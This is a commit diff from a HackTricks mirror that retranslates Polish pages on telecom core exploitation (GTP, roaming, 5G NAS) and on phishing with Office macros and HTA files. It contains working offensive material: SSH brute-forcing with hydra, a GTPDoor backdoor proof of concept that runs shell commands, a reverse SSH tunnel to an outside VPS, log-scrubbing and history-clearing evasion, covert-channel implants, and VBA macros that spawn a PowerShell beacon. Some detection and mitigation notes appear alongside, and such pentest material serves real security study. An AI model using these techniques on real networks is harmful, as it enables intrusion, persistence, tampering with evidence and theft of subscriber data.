mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
Translator
parent
850a5fd16f
commit
9d0ffc4da7
@ -1,27 +1,27 @@
|
||||
# Wykorzystywanie sieci telekomunikacyjnych (GTP / środowiska roamingowe)
|
||||
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Protokoły rdzenia mobilnego (GPRS Tunnelling Protocol – GTP) często przebiegają przez pół-zaufane zaplecza roamingowe GRX/IPX. Ponieważ korzystają z plain UDP z niemal żadnym uwierzytelnianiem, **każde przyczółkowe wejście w obręb telekomu zazwyczaj może bezpośrednio dotrzeć do płaszczyzn sygnalizacyjnych rdzenia**. Poniższe notatki zbierają ofensywne sztuczki zaobserwowane w praktyce przeciwko SGSN/GGSN, PGW/SGW i innym węzłom EPC.
|
||||
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) często przebiegają przez półzaufane backbone'y roamingowe GRX/IPX. Ponieważ korzystają ze zwykłego UDP z niemal żadną autoryzacją, **każde uzyskanie dostępu wewnątrz perymetru telekomunikacyjnego zazwyczaj pozwala bezpośrednio osiągnąć warstwy sygnalizacyjne rdzenia**. Poniższe notatki zbierają ofensywne sztuczki zaobserwowane w praktyce przeciwko SGSN/GGSN, PGW/SGW i innym węzłom EPC.
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Domyślne konta OSS / NE
|
||||
Zadziwiająco duża liczba elementów sieciowych vendorów jest dostarczana z na stałe zakodowanymi użytkownikami SSH/Telnet, takimi jak `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Dedykowana wordlist dramatycznie zwiększa sukces brute-force:
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
Zadziwiająco wiele elementów sieciowych dostarczanych przez vendorów ma wbudowane konta SSH/Telnet, takie jak `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Dedykowana wordlist dramatycznie zwiększa skuteczność brute-force:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Jeśli urządzenie udostępnia tylko management VRF, najpierw wykonaj pivot przez jump host (zobacz sekcję «SGSN Emu Tunnel» poniżej).
|
||||
|
||||
### 1.2 Wykrywanie hostów w GRX/IPX
|
||||
Większość operatorów GRX nadal zezwala na **ICMP echo** przez backbone. Połącz `masscan` z wbudowanymi `gtpv1` UDP probes, aby szybko zmapować nasłuchiwacze GTP-C:
|
||||
### 1.2 Odkrywanie hostów w GRX/IPX
|
||||
Większość operatorów GRX nadal zezwala na **ICMP echo** w całym backbone. Połącz `masscan` z wbudowanymi `gtpv1` UDP probes, aby szybko zmapować nasłuchujące GTP-C:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Enumeracja abonentów – `cordscan`
|
||||
|
||||
Poniższe narzędzie w Go tworzy pakiety **GTP-C Create PDP Context Request** i zapisuje odpowiedzi. Każda odpowiedź ujawnia aktualny **SGSN / MME** obsługujący zapytanego IMSI i, czasami, odwiedzany PLMN abonenta.
|
||||
Następujące narzędzie w Go tworzy pakiety **GTP-C Create PDP Context Request** i zapisuje odpowiedzi. Każda odpowiedź ujawnia aktualne **SGSN / MME** obsługujące zapytane IMSI i czasami PLMN odwiedzany przez abonenta.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -30,21 +30,21 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Kluczowe flagi:
|
||||
- `--imsi` Docelowy IMSI subskrybenta
|
||||
- `--imsi` IMSI docelowego abonenta
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Zapisuje surowe pakiety do pcap
|
||||
- `-w` Zapisz surowe pakiety do pcap
|
||||
|
||||
Ważne stałe wewnątrz binarki można załatać, aby rozszerzyć skany:
|
||||
Ważne stałe wewnątrz binary mogą być patched, aby widen scans:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Uruchamianie kodu przez GTP – `GTPDoor`
|
||||
## 3. Code Execution over GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` to mała usługa ELF, która **nasłuchuje na UDP 2123 i parsuje każdy przychodzący pakiet GTP-C**. Gdy payload zaczyna się od wcześniej udostępnionego tagu, reszta jest odszyfrowywana (AES-128-CBC) i wykonywana przez `/bin/sh -c`. Wyjścia stdout/stderr są eksfiltrowane w wiadomościach **Echo Response**, dzięki czemu nie jest tworzona żadna sesja wychodząca.
|
||||
`GTPDoor` to niewielka usługa ELF, która **nasłuchuje na UDP 2123 i parsuje każdy przychodzący pakiet GTP-C**. Gdy payload zaczyna się od pre-shared tag, pozostała część jest odszyfrowywana (AES-128-CBC) i wykonywana przez `/bin/sh -c`. stdout/stderr są eksfiltrowane wewnątrz wiadomości **Echo Response**, dzięki czemu nigdy nie jest tworzona żadna sesja wychodząca.
|
||||
|
||||
Minimalny pakiet PoC (Python):
|
||||
Minimal PoC packet (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Wykrywanie:
|
||||
* każdy host wysyłający **unbalanced Echo Requests** do adresów IP SGSN
|
||||
* flaga wersji GTP ustawiona na 1, podczas gdy typ wiadomości = 1 (Echo) – odstępstwo od specyfikacji
|
||||
* dowolny host wysyłający **unbalanced Echo Requests** do adresów IP SGSN
|
||||
* flaga wersji GTP ustawiona na 1, gdy typ wiadomości = 1 (Echo) – odstępstwo od specyfikacji
|
||||
|
||||
## 4. Pivoting przez Core
|
||||
## 4. Pivoting przez rdzeń
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` dostarcza emulator SGSN zdolny do **nawiązania kontekstu PDP z rzeczywistym GGSN/PGW**. Po negocjacji Linux otrzymuje nowy interfejs `tun0`, dostępny dla partnera roamingowego.
|
||||
`OsmoGGSN` dostarcza emulator SGSN zdolny do **establish a PDP context towards a real GGSN/PGW**. Po negocjacji Linux otrzymuje nowy interfejs `tun0`, dostępny ze strony roamingowego peer'a.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Przy odpowiednim firewall hair-pinning ten tunel omija signalling-only VLANs i trafia bezpośrednio do **data plane**.
|
||||
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS jest niemal zawsze otwarty w infrastrukturach roamingowych. Udostępnij wewnętrzną usługę SSH na swoim VPS nasłuchującą na :53 i wróć później z domu:
|
||||
DNS jest prawie zawsze otwarty w środowiskach roamingowych. Wystaw wewnętrzną usługę SSH na swoim VPS nasłuchującą na :53 i później połącz się z domu:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Sprawdź, czy `GatewayPorts yes` jest włączone na VPS.
|
||||
|
||||
## 5. Kanały ukryte
|
||||
## 5. Covert Channels
|
||||
|
||||
| Kanał | Transport | Dekodowanie | Uwagi |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | całkowicie pasywny listener, brak ruchu wychodzącego |
|
||||
|-------|-----------|------------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | czysto pasywny nasłuch, brak ruchu wychodzącego |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | nasłuchuje subdomeny `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | maskuje się w legalnym ruchu GTP-C |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | wtopiony w legalny ruch GTP-C |
|
||||
|
||||
Wszystkie implants używają watchdogów, które wykonują **timestomp** na swoich binarkach i re-spawnują się po awarii.
|
||||
Wszystkie implants implementują watchdogs, które **timestomp** ich binaries i re-spawnują się po awarii.
|
||||
|
||||
## 6. Defense Evasion — ściąga
|
||||
## 6. Defense Evasion Cheatsheet
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
@ -116,76 +116,76 @@ Wskazówka dotycząca sprzątania:
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Skrzynka narzędzi
|
||||
## 8. Tool Box
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling opisane we wcześniejszych sekcjach.
|
||||
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – niestandardowe narzędzia opisane w poprzednich sekcjach.
|
||||
* `FScan` : skanowanie TCP w intranecie (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS fałszywy WPAD
|
||||
* `Microsocks` + `ProxyChains` : lekkie pivotowanie SOCKS5
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. Ataki rejestracji 5G NAS: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
Procedura rejestracji 5G przebiega po NAS (Non-Access Stratum) na NGAP. Do momentu aktywacji bezpieczeństwa NAS przez Security Mode Command/Complete, początkowe wiadomości są nieautentykowane i niezaszyfrowane. To okno przed zabezpieczeniem umożliwia wiele ścieżek ataku, gdy możesz obserwować lub modyfikować ruch N2 (np. on-path wewnątrz core, rogue gNB lub testbed).
|
||||
Procedura rejestracji 5G przebiega przez NAS (Non-Access Stratum) nad NGAP. Dopóki bezpieczeństwo NAS nie zostanie aktywowane przez Security Mode Command/Complete, początkowe wiadomości są nieautentykowane i nieszyfrowane. To okno przed włączeniem zabezpieczeń umożliwia wiele ścieżek ataku, jeśli można obserwować lub modyfikować ruch N2 (np. on-path wewnątrz core, rogue gNB lub testbed).
|
||||
|
||||
Przepływ rejestracji (upraszczony):
|
||||
- Registration Request: UE wysyła SUCI (SUPI zaszyfrowany kluczem publicznym sieci domowej) i capabilities.
|
||||
- Authentication: AMF/AUSF wysyłają RAND/AUTN; UE zwraca RES*.
|
||||
- Security Mode Command/Complete: negocjowana i aktywowana jest integralność i szyfrowanie NAS.
|
||||
- PDU Session Establishment: konfiguracja IP/QoS.
|
||||
Przebieg rejestracji (uproszczony):
|
||||
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
|
||||
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
|
||||
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
|
||||
- PDU Session Establishment: IP/QoS setup.
|
||||
|
||||
Wskazówki do laboratorium (bez RF):
|
||||
- Core: domyślna deployacja Open5GS wystarcza do odtworzenia przepływów.
|
||||
- UE: simulator lub test UE; dekoduj za pomocą Wireshark.
|
||||
- Aktywne narzędzia: 5GReplay (capture/modify/replay NAS w ramach NGAP), Sni5Gect (sniff/patch/inject NAS on the fly bez uruchamiania pełnego rogue gNB).
|
||||
Wskazówki dotyczące konfiguracji laboratorium (non-RF):
|
||||
- Core: Open5GS default deployment is sufficient to reproduce flows.
|
||||
- UE: simulator or test UE; decode using Wireshark.
|
||||
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Przydatne filtry wyświetlania w Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Prywatność identyfikatora: awarie SUCI ujawniające SUPI/IMSI
|
||||
Oczekiwane: UE/USIM musi wysyłać SUCI (SUPI zaszyfrowany kluczem publicznym operatora domowego). Znalezienie SUPI/IMSI w postaci plaintext w Registration Request wskazuje na defekt prywatności umożliwiający trwałe śledzenie abonenta.
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Oczekiwane: UE/USIM musi przesyłać SUCI (SUPI zaszyfrowany kluczem publicznym operatora macierzystego). Znalezienie jawnego SUPI/IMSI w Registration Request wskazuje na defekt prywatności umożliwiający trwałe śledzenie abonenta.
|
||||
|
||||
Jak testować:
|
||||
- Przechwyć pierwszą wiadomość NAS w InitialUEMessage i sprawdź Mobile Identity IE.
|
||||
- Szybkie kontrole w Wireshark:
|
||||
- Powinno się zdekodować jako SUCI, nie IMSI.
|
||||
- Przykładowe filtry: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` powinny występować; ich brak wraz z obecnością `imsi` wskazuje na leak.
|
||||
- Powinno dekodować się jako SUCI, nie IMSI.
|
||||
- Przykładowe filtry: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` powinien istnieć; brak wraz z obecnością `imsi` wskazuje na ujawnienie.
|
||||
|
||||
Co zbierać:
|
||||
- MCC/MNC/MSIN jeśli są ujawnione; logować per-UE i śledzić w czasie/lokalizacjach.
|
||||
Co zebrać:
|
||||
- MCC/MNC/MSIN, jeśli ujawnione; loguj per-UE i śledź w czasie/lokalizacjach.
|
||||
|
||||
Łagodzenie:
|
||||
- Wymusić UEs/USIMs wysyłające tylko SUCI; alertować przy każdym IMSI/SUPI w initial NAS.
|
||||
Środki zaradcze:
|
||||
- Wymuszaj SUCI-only dla UE/USIM; alarmuj przy pojawieniu się jakiegokolwiek IMSI/SUPI w initial NAS.
|
||||
|
||||
### 9.2 Capability bidding-down do algorytmów null (EEA0/EIA0)
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
Tło:
|
||||
- UE reklamuje obsługiwane EEA (szyfrowanie) i EIA (integralność) w UE Security Capability IE Registration Request.
|
||||
- UE reklamuje obsługiwane EEA (encryption) i EIA (integrity) w polu UE Security Capability IE Registration Request.
|
||||
- Typowe mapowania: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 to algorytmy null.
|
||||
|
||||
Problem:
|
||||
- Ponieważ Registration Request nie jest chroniony integralnością, atakujący on-path może wyczyścić bity capability, aby wymusić wybór EEA0/EIA0 później w Security Mode Command. Niektóre stosy błędnie pozwalają na algorytmy null poza usługami awaryjnymi.
|
||||
- Ponieważ Registration Request nie jest chroniony integralnością, on-path atakujący może wyczyścić bity capability, by wymusić wybór EEA0/EIA0 później podczas Security Mode Command. Niektóre stosy błędnie zezwalają na algorytmy null poza usługami awaryjnymi.
|
||||
|
||||
Kroki ofensywne:
|
||||
- Przechwyć InitialUEMessage i zmodyfikuj NAS UE Security Capability tak, by reklamować tylko EEA0/EIA0.
|
||||
- Przy użyciu Sni5Gect podczep NAS message i załat w nim bity capability przed forwardem.
|
||||
- Obserwuj, czy AMF akceptuje null ciphers/integrity i kończy Security Mode z EEA0/EIA0.
|
||||
- Przechwyć InitialUEMessage i zmodyfikuj NAS UE Security Capability, aby reklamował tylko EEA0/EIA0.
|
||||
- Za pomocą Sni5Gect zahacz wiadomość NAS i patchnij bity capability przed przekazaniem.
|
||||
- Obserwuj, czy AMF zaakceptuje null ciphers/integrity i zakończy Security Mode z EEA0/EIA0.
|
||||
|
||||
Weryfikacja/widoczność:
|
||||
- W Wireshark potwierdź wybrane algorytmy po Security Mode Command/Complete.
|
||||
- Przykładowy output pasywnego sniffera:
|
||||
- Przykładowe wyjście pasywnego sniffera:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Środki zaradcze (wymagane):
|
||||
- Skonfiguruj AMF/policy tak, aby odrzucał EEA0/EIA0, z wyjątkiem sytuacji ściśle nakazanych (np. połączenia alarmowe).
|
||||
- Wymagaj przynajmniej EEA2/EIA2; rejestruj i zgłaszaj alarm dla każdego kontekstu bezpieczeństwa NAS, który negocjuje null algorithms.
|
||||
- Skonfiguruj AMF/policy tak, aby odrzucał EEA0/EIA0, z wyjątkiem sytuacji ściśle wymaganych (np. połączenia alarmowe).
|
||||
- Preferuj wymuszanie co najmniej EEA2/EIA2; loguj i generuj alarm przy każdym kontekście bezpieczeństwa NAS, który negocjuje algorytmy null.
|
||||
|
||||
### 9.3 Odtworzenie początkowego Registration Request (pre-security NAS)
|
||||
Ponieważ początkowy NAS nie zapewnia integralności i świeżości, przechwycony InitialUEMessage+Registration Request może zostać odtworzony do AMF.
|
||||
### 9.3 Replay początkowego Registration Request (przed zabezpieczeniem NAS)
|
||||
Ponieważ początkowy NAS nie zapewnia integralności i świeżości, przechwycony InitialUEMessage+Registration Request może zostać replayed do AMF.
|
||||
|
||||
Reguła PoC dla 5GReplay do przekazywania pasujących odtworzeń:
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
@ -208,31 +208,31 @@ boolean_expression="nas_5g.message_type == 65"/>
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
Co obserwować:
|
||||
- Czy AMF akceptuje replay i przechodzi do uwierzytelniania; brak walidacji świeżości/kontekstu wskazuje na narażenie.
|
||||
Na co zwrócić uwagę:
|
||||
- Czy AMF akceptuje replay i przechodzi do Authentication; brak walidacji świeżości/kontekstu wskazuje na narażenie.
|
||||
|
||||
Mitigations:
|
||||
- Wymuszaj ochronę przed replay oraz powiązanie kontekstu na AMF; stosuj rate-limiting i koreluj zdarzenia per-GNB/UE.
|
||||
Środki zaradcze:
|
||||
- Wymusić ochronę przed replay i powiązanie kontekstu w AMF; ograniczać ruch i korelować per-GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: uruchom AMF/SMF/UPF, aby emulować core; obserwuj N2 (NGAP) i NAS.
|
||||
- Wireshark: zweryfikuj dekodowania NGAP/NAS; zastosuj powyższe filtry, aby odizolować Registration.
|
||||
- 5GReplay: przechwyć registration, a następnie odtwórz konkretne komunikaty NGAP + NAS zgodnie z regułą.
|
||||
- Sni5Gect: na żywo sniff/modify/inject płaszczyznę kontrolną NAS, aby wymusić null algorithms lub zakłócić sekwencje uwierzytelniania.
|
||||
- Wireshark: zweryfikuj dekodowania NGAP/NAS; zastosuj powyższe filtry, aby wyizolować Registration.
|
||||
- 5GReplay: przechwyć Registration, następnie replayuj konkretne komunikaty NGAP + NAS zgodnie z regułą.
|
||||
- Sni5Gect: na żywo podsłuchuj/modyfikuj/wstrzykuj wiadomości na control-plane NAS, aby wymusić null algorithms lub zaburzyć sekwencje Authentication.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Ciągle inspekcjonuj Registration Request pod kątem plaintext SUPI/IMSI; blokuj urządzenia/USIMy powodujące problem.
|
||||
- Odrzucaj EEA0/EIA0 poza ściśle określonymi procedurami awaryjnymi; wymagaj co najmniej EEA2/EIA2.
|
||||
- Wykrywaj nieautoryzowaną lub źle skonfigurowaną infrastrukturę: nieautoryzowane gNB/AMF, nieoczekiwani peerzy N2.
|
||||
- Generuj alerty dla trybów bezpieczeństwa NAS skutkujących null algorithms lub częstymi replayami InitialUEMessage.
|
||||
### 9.5 Lista kontrolna obrony
|
||||
- Ciągle monitorować Registration Request pod kątem jawnego SUPI/IMSI; blokować urządzenia/USIMs naruszające zasady.
|
||||
- Odrzucać EEA0/EIA0 z wyjątkiem ściśle zdefiniowanych procedur awaryjnych; wymagać przynajmniej EEA2/EIA2.
|
||||
- Wykrywać nieautoryzowaną lub źle skonfigurowaną infrastrukturę: nieautoryzowane gNB/AMF, nieoczekiwani N2 peers.
|
||||
- Generować alerty dla trybów bezpieczeństwa NAS, które skutkują null algorithms lub częstymi replayami InitialUEMessage.
|
||||
|
||||
---
|
||||
## Pomysły na wykrywanie
|
||||
1. **Jakiekolwiek urządzenie inne niż SGSN/GGSN ustanawiające Create PDP Context Requests**.
|
||||
2. **Porty niestandardowe (53, 80, 443) otrzymujące SSH handshakes** z wewnętrznych IP.
|
||||
## Pomysły na detekcję
|
||||
1. **Dowolne urządzenie inne niż SGSN/GGSN ustanawiające Create PDP Context Requests**.
|
||||
2. **Nietypowe porty (53, 80, 443) otrzymujące SSH handshakes** z wewnętrznych IP.
|
||||
3. **Częste Echo Requests bez odpowiadających Echo Responses** – może wskazywać na GTPDoor beacony.
|
||||
4. **Wysokie natężenie ruchu ICMP echo-reply z dużymi, niezerowymi polami identifier/sequence**.
|
||||
5. 5G: **InitialUEMessage zawierające NAS Registration Requests powtarzane z tych samych punktów końcowych** (sygnał replay).
|
||||
4. **Wysokie tempo ruchu ICMP echo-reply z dużymi, niezerowymi polami identifier/sequence**.
|
||||
5. 5G: **InitialUEMessage zawierający NAS Registration Requests powtarzane z identycznych endpoints** (sygnał replay).
|
||||
6. 5G: **NAS Security Mode negocjujący EEA0/EIA0** poza kontekstami awaryjnymi.
|
||||
|
||||
## References
|
||||
|
||||
@ -1,33 +1,33 @@
|
||||
# Phishing Pliki i Dokumenty
|
||||
# Pliki i dokumenty phishingowe
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dokumenty Office
|
||||
|
||||
Microsoft Word wykonuje walidację danych pliku przed otwarciem go. Walidacja danych odbywa się w formie identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli podczas identyfikacji struktury danych wystąpi jakikolwiek błąd, analizowany plik nie zostanie otwarty.
|
||||
Microsoft Word wykonuje walidację danych pliku przed jego otwarciem. Walidacja danych odbywa się w formie identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli podczas identyfikacji struktury danych wystąpi jakikolwiek błąd, analizowany plik nie zostanie otwarty.
|
||||
|
||||
Zazwyczaj pliki Word zawierające makra używają rozszerzenia `.docm`. Jednak możliwe jest zmienienie nazwy pliku przez zmianę rozszerzenia i nadal zachować możliwość wykonywania makr.\
|
||||
Na przykład plik RTF z założenia nie obsługuje makr, ale plik DOCM przemianowany na RTF będzie obsługiwany przez Microsoft Word i będzie zdolny do wykonania makr.\
|
||||
Te same wewnętrzne mechanizmy dotyczą całego oprogramowania z pakietu Microsoft Office (Excel, PowerPoint itp.).
|
||||
Zazwyczaj pliki Word zawierające makra używają rozszerzenia `.docm`. Jednak możliwe jest zmienienie nazwy pliku poprzez zmianę rozszerzenia i zachowanie zdolności do wykonywania makr.\
|
||||
Na przykład plik RTF z założenia nie obsługuje makr, ale plik DOCM przemianowany na RTF zostanie obsłużony przez Microsoft Word i będzie zdolny do wykonywania makr.\
|
||||
Te same mechanizmy i mechanizmy wewnętrzne dotyczą całego oprogramowania pakietu Microsoft Office (Excel, PowerPoint etc.).
|
||||
|
||||
Możesz użyć następującego polecenia, aby sprawdzić, które rozszerzenia będą uruchamiane przez niektóre programy Office:
|
||||
Możesz użyć następującego polecenia, aby sprawdzić, które rozszerzenia będą wykonywane przez niektóre programy Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
Pliki DOCX odwołujące się do zdalnego szablonu (File –Options –Add-ins –Manage: Templates –Go) który zawiera macros mogą również „wykonywać” macros.
|
||||
Pliki DOCX odwołujące się do zdalnego szablonu (File –Options –Add-ins –Manage: Templates –Go) który zawiera makra mogą również „wykonywać” makra.
|
||||
|
||||
### Ładowanie zewnętrznego obrazu
|
||||
|
||||
Przejdź do: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
_**Kategorie**: Links and References, **Filed names**: includePicture, oraz **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Macros Backdoor
|
||||
|
||||
Możliwe jest użycie macros do uruchomienia dowolnego kodu z poziomu dokumentu.
|
||||
Można użyć makr do uruchomienia dowolnego kodu z dokumentu.
|
||||
|
||||
#### Funkcje autoload
|
||||
#### Autoload functions
|
||||
|
||||
Im bardziej są powszechne, tym bardziej prawdopodobne, że AV je wykryje.
|
||||
|
||||
@ -64,16 +64,16 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Ręczne usuwanie metadanych
|
||||
#### Ręczne usunięcie metadanych
|
||||
|
||||
Przejdź do **File > Info > Inspect Document > Inspect Document**, co otworzy Document Inspector. Kliknij **Inspect**, a następnie **Remove All** obok **Document Properties and Personal Information**.
|
||||
|
||||
#### Rozszerzenie dokumentu
|
||||
|
||||
Po zakończeniu wybierz rozwijane menu **Save as type**, zmień format z **`.docx`** na **Word 97-2003 `.doc`**.\
|
||||
Zrób tak, ponieważ **nie można zapisać makr w `.docx`** i wokół rozszerzenia obsługującego makra **`.docm`** istnieje **pewna stygma** (np. ikona miniatury ma ogromne `!` i niektóre bramy web/email całkowicie je blokują). Dlatego to **stare rozszerzenie `.doc` jest najlepszym kompromisem**.
|
||||
Po zakończeniu wybierz listę rozwijaną **Save as type**, zmień format z **`.docx`** na **Word 97-2003 `.doc`**.\
|
||||
Zrób to, ponieważ **nie możesz zapisać macro's inside a `.docx`** i istnieje **stigma** **around** the macro-enabled **`.docm`** extension (e.g. the thumbnail icon has a huge `!` and some web/email gateway block them entirely). Therefore, this **legacy `.doc` extension is the best compromise**.
|
||||
|
||||
#### Generatorzy złośliwych makr
|
||||
#### Malicious Macros Generators
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
@ -81,9 +81,9 @@ Zrób tak, ponieważ **nie można zapisać makr w `.docx`** i wokół rozszerzen
|
||||
|
||||
## Pliki HTA
|
||||
|
||||
HTA to program dla **Windows**, który **łączy HTML i języki skryptowe (takie jak VBScript i JScript)**. Generuje interfejs użytkownika i wykonuje się jako aplikacja "w pełni zaufana", bez ograniczeń modelu bezpieczeństwa przeglądarki.
|
||||
HTA to program Windows, który **kombinuje HTML i języki skryptowe (takie jak VBScript i JScript)**. Tworzy interfejs użytkownika i wykonuje się jako aplikacja "fully trusted", bez ograniczeń modelu bezpieczeństwa przeglądarki.
|
||||
|
||||
HTA jest uruchamiana za pomocą **`mshta.exe`**, które jest zazwyczaj instalowane razem z **Internet Explorer**, co powoduje, że **`mshta` jest zależne od IE**. Jeśli więc Internet Explorer został odinstalowany, HTA nie będą mogły się uruchomić.
|
||||
HTA jest uruchamiane za pomocą **`mshta.exe`**, który jest zwykle **installed** razem z **Internet Explorer**, co sprawia, że **`mshta` dependant on IE**. Jeśli więc został odinstalowany, HTA nie będą mogły zostać uruchomione.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -140,7 +140,7 @@ self.close
|
||||
```
|
||||
## Wymuszanie uwierzytelniania NTLM
|
||||
|
||||
Istnieje kilka sposobów, aby **wymusić uwierzytelnianie NTLM "zdalnie"**, na przykład możesz dodać **niewidoczne obrazy** do emaili lub HTML, które użytkownik otworzy (nawet HTTP MitM?). Albo wysłać ofierze **adres plików**, które **wywołają** **uwierzytelnianie** już przy **otwarciu folderu.**
|
||||
Istnieje kilka sposobów, aby **wymusić uwierzytelnianie NTLM "zdalnie"**, na przykład możesz dodać **niewidoczne obrazy** do e‑maili lub HTML, które użytkownik otworzy (nawet HTTP MitM?). Albo wysłać ofierze **adresy plików**, które **wywołają** **uwierzytelnianie** przy samym **otwarciu folderu.**
|
||||
|
||||
**Sprawdź te pomysły i więcej na następujących stronach:**
|
||||
|
||||
@ -156,22 +156,22 @@ Istnieje kilka sposobów, aby **wymusić uwierzytelnianie NTLM "zdalnie"**, na p
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Nie zapomnij, że nie chodzi tylko o kradzież hasha czy uwierzytelnienia, lecz także o możliwość **przeprowadzenia NTLM relay attacks**:
|
||||
Nie zapomnij, że możesz nie tylko ukraść hasha lub dane uwierzytelniające, ale także **wykonać NTLM relay attacks**:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
